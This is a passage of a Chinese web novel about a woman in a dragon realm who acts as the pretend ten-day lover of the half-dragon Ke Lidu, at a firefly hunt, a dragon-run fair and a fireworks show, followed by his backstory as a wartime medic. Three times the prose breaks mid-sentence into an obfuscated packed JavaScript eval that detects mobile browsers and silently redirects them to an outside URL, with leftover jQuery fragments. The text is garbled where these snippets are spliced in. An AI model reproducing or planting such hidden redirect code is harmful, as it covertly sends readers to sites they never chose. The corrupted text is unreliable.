“人类都那么灵巧啊……妈妈也是这样的，小时候和她比赛抓萤火虫，我什么都抓不到，而她站在一旁，带着满满当当的战利品，和爸爸一起嘲笑我……” “啊……好怀念……”科立笃的眼中泛起点点泪光，“为什么回不去了呢……明明妈妈说，只要遇到爱的人，就可以做得到的……” “叽叽咕咕说啥呢？”肖卷卷见科立笃一个人在后面慢悠悠地晃，不得已只能重新回头，找他一起走。 “不是我批评你啊，科立笃同学，你动作那么慢，照这样萤火虫就算飞你鼻子上，你也抓不住啊……”肖卷卷扶额，“抓住时机懂不懂？我们有句古话，就像你这样拖拖拉拉，吃屎也赶不上热乎的……” 算了，也不知道他听没听进去，反正肖卷卷自己是抓爽了。 还是得感谢这位心血来潮要去抓萤火虫的人士呢，不然今天晚上不会那么愉快的。 把萤火虫放进圆球塑料瓶里，肖卷卷看着它们飞啊飞，不自觉看入了迷。 十日恋人的第一日，玩得开心的好像就不是科立笃，而是肖卷卷她自己了呢…… 25. 这就是爱的形状 “别再闹了，今天就不该陪你出去抓萤火虫，太兴奋睡不着了吧……”半夜十二点，被不消停的肖卷卷吵醒的科立笃生无可恋地抱怨着。 现在已经变成他陪肖卷卷去捉萤火虫了，科立笃实在没有想到，肖卷卷会那么热衷于进行这些其他人类不喜欢的又粗鲁又会把衣服弄脏的活动。 肖卷卷半梦半醒，梦中还是悄咪咪躲在萤火虫身后扑它的场景。她的口中碎碎念着： “看我不……赶紧抓住……你……” 蹬一脚，一下子把科立笃踹下床了。 “哎呦喂……”科立笃欲哭无泪，“啧，你说我自找麻烦，带你出来干什么呢……” 好久没有这样大展身手，肖卷卷即使在梦中还延续着晚上的兴奋，不愧是女侠作风，她在小的时候也是十里八乡的孩子王啊。 只是长大之后，和她一起玩的朋友都在各地成家立业，就算回到当年那个地方，也没有人和她一起玩了。 难得有一个那么蠢的人，连抓萤火虫都不会，正好让她回忆一下小时候带孩子堆里最蠢的小朋友玩的往事。 “别闹了嗷……”科立笃好不容易从地板上爬起来，爬回床上。谁知道肖卷卷空有一身蛮力，只在睡觉的时候使出来，平时都是收着力气的。 这一脚一拳，差点把他打成沙包。 他试图固定住肖卷卷的手脚，一点用都没有，普通用被子压住她的方法根本困不住肖卷卷，她就像从五指山下蹦出来的猴子一样，好像五百年都没有活动过筋骨了，现在总算找到机会让别人不好受，怎么能放过呢？ 没办法，只好换一种方法了。 “妈妈之前在床上乱蹦乱跳的时候，爸爸用的是什么方法来着……”科立笃努力回忆自己小时候一家三口睡在一张床上的场景，他的睡姿一直很乖，而妈妈的睡姿十分狂野，科立笃开始怀疑是不是人类都是这样的。 “爸爸的做法是……” 终于想起来了，科立笃红着脸，伸出手将滚来滚去的女孩捆在怀里： “不许……不许动了……” 不知道为什么，明明爸爸妈妈做出来很自然的动作，在他身上却如此尴尬，他们现在应该是……应该是恋人吧…… 奇迹般的，当有人抱住肖卷卷时，她居然真的不乱动乱滚了。 “哪个人……钳制住了我……”肖卷卷一边说着梦话，一边开始狠狠磨牙： “宫修！你这家伙好沉！快从我身上下去啊——” …… 第二天，看着科立笃眼下的乌青，肖卷卷觉得莫名其妙： “你昨天晚上当贼去了？没睡觉吗？” “嗯。”没睡觉是真的，当贼是假的。 他只是和睡梦中的肖卷卷搏斗了一晚而已。 好在科立笃有时也要熬夜处理事务，难得空一晚不睡觉也是可以接受的。他慢斯条理地吃着碗中的食物，顺便还提醒肖卷卷食不言，寝不语。 说到寝不语，他又想到肖卷卷昨天晚上说了一晚上的梦话，心中顿感吃力。 “卷卷，慢慢吃，今天吃完之后，我们去逛逛龙界的集市吧。”浅灰色少年的脸上又露出完美笑容，他会尽量在这十天内扮演好自己的角色。 为了得出最正确的结论。 而且通过这一天的相处，科立笃觉得肖卷卷大概会喜欢热闹一点的地方。 虽然一开始她不接受过于吵闹的环境，但可以看得出来，这是她关于某种事情的后遗症。 现在把那些事都忘记，她开始露出自己真正的本性。 “好的，小竹马！”虽然不知道昨天晚上发生了什么，不过做了一个记不清楚的梦之后，肖卷卷今天伸展手脚都更有力气了。 所以说话的语气也俏皮了很多，肖卷卷的态度完全取决于她的精神状态。 少年微笑着看她吃完了早饭，又像变戏法一样，变出两件衣服来： “我们还是要穿情侣装哦。” “知道啦！”科立笃这地雷男，对于仪式感比肖卷卷重视多了。 既然是为了配合他，作戏做全套，肖卷卷决定顺着他的心意来。 “那个，这样可以吗？”换完衣服后，穿着一身改良版古装的肖卷卷从房间里蹦了出来。 “当心，注意你今天的鞋。”科立笃本来还害怕肖卷卷穿不惯这双鞋，现在看来上蹦下跳的，应该没什么关系。 挽起她的手，科立笃招了招手，一辆龙停在他们面前。 “上车吧。” 科立笃对肖卷卷眨了眨眼，他喊龙叫“车”。 好亲切的语句，肖卷卷好久没有听过车这种东西了。 被称为“车”的龙高兴地摇了摇自己的尾巴，他们觉得“车”这个称呼很酷。 能被称为“车”的龙一定是跑的很快的龙。 这“车”的后坐力还挺大，肖卷卷和科立笃刚坐稳，没过几秒钟，他们就到目的地了。 龙的集市在山上，这个集市是科立笃自己创办的。龙一般不需要交换什么物品，如果有需要的话，可以直接去管理者那儿兑换。 所谓集市，也不过是一群龙在玩cosplay而已。 肖卷卷饶有兴趣地看着每个摊主露着自己的大尾巴，兜售着自己的商品。 看来龙很喜欢这种活动嘛。 “这位小妮儿~和你男友来看看我家的面具呀~带上就能变成最靓的仔~”一个热情的摊主拦住了肖卷卷和科立笃，听到“男友”，科立笃的脸上露出了满意的笑容。 “你这儿的面具我全都要了。” “诶！”肖卷卷吓得一激灵，一巴掌拍在科立笃的手背上： “你有钱也不能这么糟蹋呀，我们一共两张脸，你要带多少个面具？” “一点都不会过日子！”不为别的，肖卷卷谁的钱都心疼。 听到过日子，科立笃又不冷静了： “那就听我爱人的，她要什么就买什么。” 科立笃完全恋爱脑状态！ 肖卷卷决定不管他了，现在这个局面，清醒的恐怕只有她自己。看了看摊位上的面具，肖卷卷给自己选了个小猫的半遮面面具，又给科立笃选了个狡诈的狐狸面具。 “为什么你是小猫，我是狐狸？”科立笃看着这个奸诈的狐狸面具，心里有些怀疑。 “相由心生。”肖卷卷如实回答。 这是在说他奸诈吗，好吧，既然是肖卷卷选的，科立笃全盘接下。 两个人带上面具，继续在集市里瞎逛着。 他们到集市的时候已经是中午了，中午两个人都不是特别饿，肖卷卷决定先玩一会，把午饭和晚饭并在一块吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777058|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她的玩心原本就是很大的，只不过长年累月的重压让她隐藏了自己的真正想法。 现在好不容易能自由自在的活着，肖卷卷已经破罐子破摔了，活成什么样她也已经死了。 真是应了之前壁纸上的那句话： 我死也要活着。 …… 科立笃真的很擅长把人类世界的活动搬到龙界，并且变得更有意思。装扮成摊主的龙收的钱都特别少，他们的东西都是科立笃教他们做的，原材料也不需要自己购买，整个草台班子意外地运行下去了。 况且为了让肖卷卷有在人类世界约会的感觉，科立笃尽可能回忆自己的父亲为自己的母亲准备的各项活动，做到复原小时候的感觉。 所以在现代人肖卷卷眼里，这些活动也是她小时候玩的，既古老又怀念。 长大之后再也没过过那么热闹的年，看到小池塘，肖卷卷激动地跑过去捞小鱼。 如果说之前集市的那些摊主，用的纸都是轻轻一浸就烂掉的纸的话，那这里的摊主用的纸肖卷卷感觉自己坐下去都不一定会破。 太坚硬了，凭借肖卷卷高超的技术，她觉得自己能把这个摊主所有的小鱼都捞完。 捞到一半，肖卷卷自己都有些不确定了，她转头寻求科立笃的眼神支持，发现科立笃正一脸宠溺地看着她，好像很喜欢她这样牢。 没办法，只能采用暗中提醒的策略了。 “小竹马——”肖卷卷轻声呼喊他。 “怎么了——”科立笃也学着她的样子轻声呼喊回去。 “我觉得这个摊主有点不正宗——” “哪里不正宗——” 肖卷卷嘿嘿一笑：“太有良心了——” 这纸就是不破呀，这样下去摊主要破产了…… “没关系，你能捞多少就捞多少，不用管别人。”科立笃哪在乎这点小鱼，这摊里所有的东西都是他找来的，肖卷卷抓光了这边的小鱼，他还能再把池塘里的小鱼都调过来，反正最后也是要回到池塘的。 “小鱼抓完了还有小虾，小虾抓完了，还有小乌龟，抓到你满意为止。”完全会错意啊喂！ “好了好了……”最后，肖卷卷实在看不下去了。周围的人看她的眼神都那么包容，像看着一个大神来打新手局一样。 她反而有点不好意思了。 “那个，我一个人一直在这儿抓，真的没问题吗……”肖卷卷的脸颊有点红，她有些担心，会不会影响到其他龙的游玩体验。 “怎么会，卷卷大小姐。”一只龙一不小心把科立笃要求在背地里称呼肖卷卷的名称喊出来了： “您能在我们这儿玩，我们都很开心。” “您开心，大少爷就开心。大少爷开心，我们就开心。” 肖卷卷真没想到，原来这里的龙都那么喜欢科立笃。 “大少爷对我们的好，我们都看在眼里，所以能为他做到一些微不足道的事儿，我们感觉十分荣幸。” 知人知面不知心，科立笃原来其实是那么好的人吗…… 肖卷卷又狐疑地看了科立笃一眼，科立笃脸上的笑容还是那么完美。 在见到科立笃的第一眼，肖卷卷想着，这人一定不懂爱。 可现在，她居然真的在科立笃眼中，看出了爱的形状。 26. 假戏真做真作假 不对，这种感觉实在不对劲。肖卷卷二十五年的人生中，从未有过心跳跳的如此强烈的时刻。 她突然有点不敢看科立笃的脸，一旦和他眼神对视，自己的心脏就震的难受。 大概只是因为有人毫无保留地对自己好吧……肖卷卷心想，的确，来到龙界之后，遇到的莫名其妙的龙不少，可接受到的善意也同样很多。 肖卷卷并不认为自己是一个坚强的人。她会在所有认识她的人都看不到的地方悄悄哭泣，她忍不住自己的眼泪，也不想忍住自己的眼泪。 但她同样认为自己不是一个脆弱的人，大哭仅仅作为一种发泄的方式，哭完之后还得去做事。 从小就接受了世界上没有人会无缘无故爱自己的事实，肖卷卷一直是让家长和老师省心的孩子，在公司也很受上司喜爱，因为她总是能将一切看似冷血无情的行动，当作正常的衡量标准。 爱从来就不在她的衡量尺度内。 在这样畸形又奇怪的爱恋观里，肖卷卷甚至不认为自己的父母就生来应该爱她，她信不过任何人的承诺。 那些都是不可靠的东西。即使是亲人也会在生气的时候说出伤人的话来，对于亲缘她没有任何爱的奢求。 恰恰这群龙颠覆了她的想象。原来那些别人口中无条件的爱，是真的存在的。 肖卷卷其实一直在思考，为什么这群龙见到她之后就死心塌地地跟着她了，明明一人一龙之间并没有情感基础，不是吗？ 可宫修、施倦、贾斑……他们给予的帮助，远远不是肖卷卷一个人可以还清的。 而他们也从未想过让她偿还。 这到底是为什么呢…… …… “走吧。”带上面具作为掩饰，肖卷卷终于可以了恢复原先正常的状态了。 反正自己的脸红也没有人可以看得到，她心安理得地将手放在科立笃的手中，跟着浅灰色头发的少年慢慢往前走。 手中的小鱼全部还给摊主了，肖卷卷说她不需要，科立笃的池塘里多的就是小鱼。 “还有大肥猪。”肖卷卷补充，那几条锦鲤肥的和坦克一样。 一路上，糖葫芦糖糕大风车，手作风铃纸折扇，孔明灯小烟花，肖卷卷不得不再次感叹，科立笃的还原能力真的很强。 她小时候逛的庙会，差不多也是这样的。 “还有捏糖龙？”肖卷卷站在一个摊位旁，一脸震惊地看着摊主吹出一个五米高的糖龙来，小龙都围着这个糖龙转圈。 “太大啦兽艺仁。”科立笃看了一眼摊主的工牌，笑着提醒他。 没办法，谁让龙的一口气就可以吹那么长呢？ 继续向前，肖卷卷和科立笃都已经不讲话了。两个在龙群里唯一的人，成为了彼此惺惺相惜的伙伴。 只有他们知道，人界原先是这么热闹的。 也只有他们知道，这份烟火气，是独属于人类的情怀和渴望。 “等会还有烟花。”科立笃拉着肖卷卷，在观赏景色最好的位置坐下。 “我们在这儿等吧，毕竟我们不会飞。”少年无奈地朝肖卷卷笑了笑： “我可没有办法像你的搭档那样，带你飞到天上去看。” “没关系，作为人，还是在地上看更浪漫一点。”肖卷卷抬起头，衣服后系着的飘带随风扬起，缠绕在科立笃的手指上。 “哈，愚蠢的女人。”没头没脑的一句，带着些嗔怪的意味，钢铁直女肖卷卷根本没听出来科立笃语气里的酸味。 两人并排坐着，科立笃在人界也算比较高的了，可是和龙比起来，还是有一些差距。 不一会儿，在烟花秀快要开始之前，天上已经陆陆续续飞来了很多龙。 肖卷卷在龙界看过烟花，龙界的烟花格外盛大，毕竟要和龙的体型产生差距，让龙感觉到震撼，烟花不得不放的满天都是。 今天的烟花和那些烟花别无差距，随着“砰”的一声，艳火在头顶炸开，纷纷扬扬落下的花雨比起从前更添几分凄凉。 或许这就是和人一起看烟花的感受吧。龙的一生何其漫长，他们怎么会懂烟花易冷的痛。 虽然这只是一次为了交换信息才履行的恋人委托，肖卷卷心中必须得承认，人与人之间更能连接心上的通讯站。 至少在烟花绽放的那一刻，只有她的心与科立笃的心，能够产生共振。 假戏真做真作假，究竟是什么样的心情，肖卷卷已经无力去体会了。 …… 烟火秀结束之后，不约而同的，肖卷卷和科立笃的情绪都低落了下来。两人坐着“车”回到府邸，沉默地走进会客厅。 宫修一脸生无可恋地躺在大堂正中央，整条龙像被吸干了精气。 肖卷卷……他的人……和别的人去看烟花…… 听到科立笃的脚步声，宫修的牙根都痒了起来。就是他偷走了自己的人…… 真的是偷走了吗…… 只有和肖卷卷相处了最长时间的宫修知道，肖卷卷脸上的笑容，明显是真心的。 他悄悄跟着他们去了集市，其实其他龙玩的怎么样，宫修一点都不关心。 他久久地注视着前方走着的两个人类。是啊，他们是同类，自然可以更加理解彼此。 而他算什么呢。从来不知道龙也会有这样的心情，宫修突然有点害怕他们假戏真做。 这个人类很聪明，不少龙被他利用了性格中的弱点，他把龙耍的团团转。可仔细想想，科立笃的确没有做什么真的对他们不利的事。 不过是把每个生物最需要的部分提出来给他，然后再收回罢了。 殊不知感受到阳光的龙，再也忍受不了黑暗。 …… 肖卷卷扶起宫修，她不知道为什么，宫修今天看起来也闷闷不乐。 大家都沉浸在一个非常美妙的时光过去后的戒断反应之中，肖卷卷只觉得和科立笃待在一起的时间格外想家。 同时他也想到了一个之前她从未想过的问题：到了这个世界之后，人界的肖卷卷就已经是死亡状态了吧。 她的亲人，她的朋友会怎样想呢，会有些思念她吗，还是根本就无所谓呢。 肖卷卷和父母的关系一直止步于互相寄钱，小时候父母把钱打给她，长大后她再把钱打回给父母。 他们会想念自己吗？ 最关键的是，既然以原本的身体穿了过来，是不是就代表，她再也回不去了呢？ 难道真的要在这个世界待到老死吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785980|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些之前从未考虑过的问题，一股脑涌上肖卷卷的心头，如果要在这儿继续待几十年，她得找到一个适合的住所，和一个还算过得去的伙伴。 并没有尝试过一直和龙一起生活，宫修很好，施倦很好，贾斑也很好，可如果身旁没有人的话，自己会不会变得麻木呢…… 慢慢习惯了龙的生活，慢慢忘却人的习性，慢慢的在人界的一切变得如此模糊，而自己也彻底沦为和龙界的人一样的物种。 肖卷卷有一点害怕，自己真的要变成那样吗。 她往身边看去，发现今天晚上，科立笃的话也格外少，仿佛在等她做出正确的决定。 被月光照亮的窗帘上，少年的影子轻轻一颤，转头朝身旁的少女望去。少女的身子则刚好一偏，两人的目光就这样错过。 “今天早点睡觉吧。”肖卷卷错过了这一次绝佳地袒露心迹的机会，或许正是这个决定，改变了她接下来的人生走向。 从肖卷卷未来的回忆来看，这是她站在选择的岔路口，做出的最艰难的一次决定。 也许在今晚点头，她就真的嫁给了科立笃，然后在这庄府邸度过自己的一生，或许那也是个不错的结局。 可惜命运就是命运，如史诗般的，肖卷卷的传奇注定不会这样结束。 没有其他的原因，因为她就是肖卷卷，是上一秒的她自己都超越不了的存在。 …… 客厅时钟滴答作响，科立笃第二次失眠。 从未觉得客厅的时钟那么响过，也许明天真的应该换一个静音的钟了。 从前他不理解母亲，为什么为了救一个弱小的人类牺牲自己为数不多的寿命；也不理解父亲，明明母亲去世之后，自己也需要照顾，为什么毅然决然地选择了将寿命分给母亲，失败后甘愿一同赴死。 爱是那么低贱的东西吗，居然会让人失智到放弃一切随对方而去。 他们有想过，原本家世显赫的科家，在家主走后一落千丈，他们的孩子变成人人喊打的怪物。 没错，其实科立笃既不是人，也不是龙。 他没有龙的寿命，没有龙的能力，但他也不是完全意义上的人，因为他有着龙的一个最基本的特征： 他微弱的龙的血脉，足够他迅速阅览所有的书籍和数据，并且拥有过目不忘的能力。 经历的一切，无论好坏，他都忘不掉。 父亲爱上母亲，这本就是一个不可思议的事情，算是当年龙界的奇谈，而分寿命更是荒唐，为什么可以…… 如果我从未拥有过那些美好的生活，在被嘲笑的时候，是不是就是做到心安理得地接受了呢。 可爱也好，恨也好，最后只化为一句“不要走”。 “不要走——”坐起来的那一刻，科立笃才意识到，自己刚才的是幻觉。 他发誓自己一定能找到更好的感情来替代人与龙之间的爱，他发誓爱诠释的方式有很多种，他一定会找到最恰当的那一个。 可现在，他自己都不能够说服自己。 假戏真做真作假，他已经分不清什么是真的，什么是假的。 原来爱是那么虚无缥缈的东西。 躺在科立笃旁已经睡着了的肖卷卷，在那一刻动了动手指。 27. 存在第三种结局 在科立笃坐起来的那一瞬间，肖卷卷其实已经清醒了。 她正在好奇身旁的人嘀嘀咕咕究竟在说些什么，没想到这位毒舌地雷男悄然哭泣起来，让她有些许不知所措。 科立笃脸上完全是自己察觉不到流下的眼泪，心那么疼痛，要做到他现在这样，背后的艰辛远比任何人想象的都要多。 他一定要证明自己的父母是错的，否则这么多年的努力又是为了什么呢。 想通了以后，科立笃重新躺了回去，今天实在太不应该了，居然流露出那么容易被人看穿的情感。 明天要恢复以往的状态。 另一边，同床异梦的肖卷卷听到身旁的人又躺回了床上，继续装睡，心里则在盘算着，自己十日后将如何脱身。 就算孤独也好，没有人能理解自己也好，不能轻易地把自己所有的主动权交给一个看似什么都匹配自己、却不知底细的人。 她永远要为自己而活，这是前提。 这边两人都各自下定决心，他们注定擦肩而过，另一个房间的宫修纠结得都快哞哞叫了，一直在怀疑自己的心理是不是出了问题，为什么难受到睡不着。 …… 肖卷卷和科立笃扮演恋人的第四天、第五天，两人恢复了从前相敬如宾的状态，这倒是让宫修喜出望外，他发现了，只要肖卷卷不和别人亲昵，他晚上就睡得格外香。 虽然原因未知，不过宫修还是坚信，这是所有龙都会出现的现象。 一定不是因为有什么更加深层的原因…… 肖卷卷虽然对科立笃突然转变的态度感到惊讶，不过这在某种程度上正合她意，于是肖卷卷便放任两人的关系从热转冷，同时还在心里默默感慨，果然男人的心思捉摸不透，当初没有完全信任他是对的。 痛苦的人始终只有科立笃一个。他曾经梦寐以求的真理，此时却成为他病入膏肓的罪魁祸首。 他尝试与肖卷卷拉开距离，在身体上的确做到了，但是在心灵上，科立笃第一次体会到什么叫作把心放在油锅上炸。 尤其是在两人明明已经有过默契经历之后，再变为陌生人就更难以接受。 更加阴晴不定的科立笃让肖卷卷有些害怕，也不知道他接下来会做出什么样的过激举动。 无论是对人还是对龙，最好的做法一定是认真沟通，肖卷卷决定找个机会好好和科立笃聊一聊。 这两天两人相处的时间变得很少，科立笃总是一个人在书房里查阅资料，肖卷卷则是在府邸和府邸周围的地方晃悠，试图摸清这块地方的基本状况。 对于肖卷卷和宫修的问题，事实上科立笃已经有一个大致的答案了。 只是还有一些细节，是他没有搞清楚的，那些东西被藏的很隐蔽，科家原本家大越大，却也没有得到那几本书籍。 如果连他们家都没有的话，那只有一种可能—— 这涉及到这个龙界整个体系运作的核心。 …… 肖卷卷并不知道，这段时间科立笃为了她的事上愁到茶饭不思，一颗心完全扑到了找到完整答案上，甚至连自己的目的都无所谓了。 越往下深挖，科立笃越觉得毛骨悚然，为什么明明只是关于修复龙筋那么简单的问题，所有的书籍却避而不谈。 他知道，修复龙筋有很多种方法，简单的食补或者药补都可以做到，可宫修的伤不太一样，他的伤伤到了根基，也许心伤比身伤来的更加厉害。 可关于心伤的那一页，不知道被谁撕去了。 这本古籍流传至今，一共只有两本。他的这一份是拓印本，原版则在整个龙界最大的私人图书馆馆长——伦闻那里。 科立笃与伦闻两个人可谓是完全不对付，从前科立笃还在上学的时候，伦闻是他的老师。 他还记得，当自己明显表现出对龙的某一方面的兴趣，去请教伦闻时，得到的回答却是伦闻的警告。 他严肃地告诉科立笃，身为龙界并没有什么能力的人，最快乐的生活方式就是什么都不知道地度过这一生，浑浑噩噩地死去。 “那如果龙界的龙生了自己恢复不了的病呢？”因为身体过于强健，龙不需要医生，基本上无论什么疾病或者伤痛，都只要含着一种特殊的草药，嚼一嚼就好。 强大的自愈能力，让龙对于医疗十分不屑一顾，虽然等长大后，科立笃在某次对于龙的治疗中意外发现了，曾经那个让自己不要多管闲事的老师居然也在从事医疗相关的工作，但他对于伦闻的印象还是奇差无比。 如果不是必要的话，他绝不想和这条龙发生任何关系。 这条将近四百岁的龙，在漫长的生命里，一直在寻求彻底治疗龙的方法。 想找到那一页的话，恐怕必须得联系他了。 …… “叩叩叩”，在想着用什么理由去见伦闻的科立笃，突然听到门口传来一阵轻微的敲门声。 他揉了揉自己的眉心，走到门旁，刚拉开一条缝，肖卷卷就从缝里灵活地挤了进来。 “嘿！虽然不知道为什么你一改之前的态度，不过，我还是想告诉你，我现在很担心。” 肖卷卷叉腰站立，义正言辞地对科立笃说。 “哦？你居然也会有担心我的一天。”科立笃自嘲般笑了笑，在进入工作状态的时候，他不会因为一点小事就吃醋了。 “这种时候不应该赶紧和你的那条好龙幽会吗？” “想什么呢？我可是很尽职的，你的要求我还没有达到，怎么可能中途就丧失了职业操守。”肖卷卷拍了拍科立笃的肩膀，“放心，就算你之后产生了戒断反应，我还可以提供售后服务哦～” “说吧，这两天你究竟在担心什么？” 他在担心什么呢……三言两语好像真的说不清，有父母的事，有她的事，也有自己的事。 自己已经习惯了生活在长时间的高压之下，前两天轻松的时光反而像是一场梦，现在梦该醒了，也没什么可遗憾的了。 想到这儿，他反而释然了一些。 “我担心的东西很多，难道你都可以帮我解决吗。” “如果你愿意的话，我会尽力的。”肖卷卷拍了拍科立笃的肩膀。 这一举动反而把他逗笑了，科立笃很少真心地笑出声，但这一次他是真的觉得肖卷卷可爱。 “谢谢你，你大概解决不了我的苦恼。”他又把门打开，想请肖卷卷出去。 不料肖卷卷一把撑住门，不让他动弹：35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792036|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “等一下，我知道你在担心什么！” 她抓紧时间，在科立笃使用蛮力之前迅速说完了自己的想法： “那个，我刚才从宫修那儿听到一些你以前的事，听说你在成为管理者之前，曾和龙一样经历过北部的战事，对吧？” 态度坚决的浅灰色头发少年，在听到这句话后，停下了手上的动作。 “他连这个都告诉你了？” “当然，我的龙可是绝对信任我的。”肖卷卷霸气地一脚抵住门，“你到那儿去大概不能打仗吧，应该是做后勤之类的工作？” “不错，我在那儿当医生。”科立笃看着态度坚决的肖卷卷，语气稍微松了点。 “越是自身强大的生物，越会忽略自己身上的弱点。”肖卷卷紧接着他的话说下去，“小竹马，其实你没有那么讨厌龙。” “如果你真的憎恶他们，就不会选择做这些救助他们的事情。” “况且，你做的这些对于龙来说，也是他们所缺乏的保护。这样看来，你想要完成的是改变而并非消灭。” 少年的手微微颤动了一下，算是默认了她的说法。 “可是我一个人，又能改变什么呢？” 良久，科立笃默默叹了口气，将自己的故事徐徐道来： “如你所见，我是个怪胎，既不是人，也不是龙，我的父亲是一条龙，母亲却是人类。都怪龙和人没有那可恶的生殖隔离，才创造出了我这样的一个奇怪的生物。” 少年转头，身后系紧的衣带勒进自己腰间的肉里。 “我在小时候想证明父亲是错的，他不应该为了一个人而放弃自己的生命，毕竟他可是这世界上最尊贵的龙之一，更何况他已经因为爱上母亲，受到了许多同类的嘲笑了。” “可我发现，随着我的年龄越大，我越能理解父亲这样做的原因，我的母亲是那么好的人，爱上她何其正常。” “于是我又尝试着证明我的母亲是错误的，作为一个人，怎么可能爱上龙，可我又遇见了你。” “你和你的搭档，几乎是天生一对。” “越和你相处，我就越觉得人身上其实有可爱之处，我不知道该怎样反驳父亲和母亲之间深厚的爱，我也不知道怎么样，给我自己一个交代。” “所以我想，我也许从一开始就错了。无论爱或不爱，这两种结局客观存在，而我都无法将它们认定为错误的行动，甚至定义为有失偏颇都做不到。” “于是现在我放弃，我已经找到了我想要的答案。” 说完这些，科立笃向前走去，离肖卷卷越来越远。 “不，还有第三种结局。” 肖卷卷坚定的声音，在科立笃身后响起。 “你能为我做到这种程度，我既感动又感激。” “但是小竹马，你可不能就这样轻易放弃。” 肖卷卷深吸一口气，她第一次庆幸，自己在人界观察到的种种平时厌恶的情侣间的作派，现在终于能派上用场了。 “我可以向你保证，小竹马，我们之间的问题，会存在一种更好的、更加完美的解决方法。” “你负责忙活你手上的事，我一定会为你找到让你不再悲伤的第三种可能性。” 28. 将往事织成梦网 两年前，龙界北部，战事日益紧张。 “东部第一军，西部第二军，跟随我前往南边的战壕。”金色头发的男人穿着军装，周握着木质的手杖。 龙界北部的战争已经持续了一百多年，停战条约不知道签了多少，没过多少年又会打起来，周而复始，重复这个循环。 据说北部的管理者与整个龙界的理念相悖，这其中的渊源甚至要追溯到几千年前，北部的管理者是从前龙界大战被驱逐过去的败将，他们歪曲的理念一代又一代地传下去，老管理者死之前将自己的三个儿子送入不同的城区，等到其他管理者发现自己的管理区域已经进入间谍时，三个儿子的势力不约而同都发展到了一定水平。 好在受其他地区的管控，没有酿成什么大祸。不过，直接继承北部管理区的大儿子暴躁且好战，从那时开始，北部区域一直不太平。 “嘁，卡宴城说好派来的救济粮什么时候到，我们前线必须拖住，要让他们攻破防线，冲到管理区里去的话，后方的龙抵挡不住，绝对会一路攻过去，直指核心。” 贾斑看着面前屏幕上不断逼近的几道攻击箭头，太阳穴突突跳着。 “施公子发的粮明天清晨到，他还带了一句话，让您不要担心军粮的问题，只要你们还能够坚持，粮一天都不会断。” “他最好是。”有力的手拂去桌上一切摆设，贾斑整理好自己的领子： “其余龙留在阵地值守，刚才点到的那两支军团，随我出征！” …… “把仓库里所有的粮都放出来。”卡宴城，施倦同管家吩咐道： “别管父亲那儿怎么说，那儿有我来交代。” “把那里的百姓安全转移出来，接到卡宴城或者布伽辛城区。”说完，他像想到什么似的，又喊住原本已经要出门的管家： “贾斑现在人不在管理区，派几条龙过去，他在前线冲锋，背后可不能失守。” “有的粮尽管发，没有就去借，以我的名义。” 望向远方即将落下地平线的太阳，施倦闭上眼睛，心里泛起一股无名的疲惫感。 这样的战事每隔几年就要来一次，无论是百姓还是他们，都已经很累了。 北部管理者，不，现在应该叫叛乱者，他们的手段极其凶狠，并且似乎是家族传下来的独门奇术，与他们交战过并且受伤的士兵，光靠嚼草药只能恢复一时的力气。 前几次交手下来的，所有参战的管理者不约而同地发现了一个秘密——他们战士的后遗症尤其严重，具体体现为在交战三个月后，尽管身体的各个部位都已经恢复正常，他们却没有办法使出自己以往百分之百的能力。 据部分士兵描述，每当他们用力时，只感觉身体当中的一根弦颤了一下，随后消掉了部分气力，参加过三次以上战争的士兵几乎变为完全无能力的龙。 这是个不妙的征兆，施倦心想。 他负责选拔相关的领域，对于心理比其他龙要熟悉一些，他也曾怀疑过这是因为产生了记忆上的阴影，不过经过询问和治疗，发现好像并没有什么关系。 龙界几乎没有医生，科学家也很少，要研究这一现象，恐怕近百年来都不会有什么进展。 而战争已经拖不了这么久了。 …… “快，把那边的病人送到我这里来。” 尸横遍野的战场旁，经过清扫之后，一片狼藉的地面上支起了几个简陋的白色帐篷。 受伤的龙源源不断地往帐篷里送去，他们不会死，所有人都清楚这一点，可他们注定会艰难又痛苦地活下去，承受着这一切。 口中含着草药，那些受伤的龙不断咀嚼着，麻木的神情同因为疼痛而颤抖的嘴角结合在一起，真正让人体会到，什么叫做求生不能求死不得。 浅灰色头发的少年屹立在帐篷里，手上的动作一刻都没有停止。他仅凭自己一个人，在二十多年里学会了只有很古老的书籍上所记载的包扎术和消毒缝针之类龙从来不放在心上的治疗方法。 能救一个是一个，只要有他在，只要经过他的手，不许有任何一个继续痛苦的生命。 也正是在那段时间里，很多被他救治过的龙后来都加入了兑奇城，为科立笃效力。他们称这个类龙少年为“格瑞之神”，对他尊敬起来。 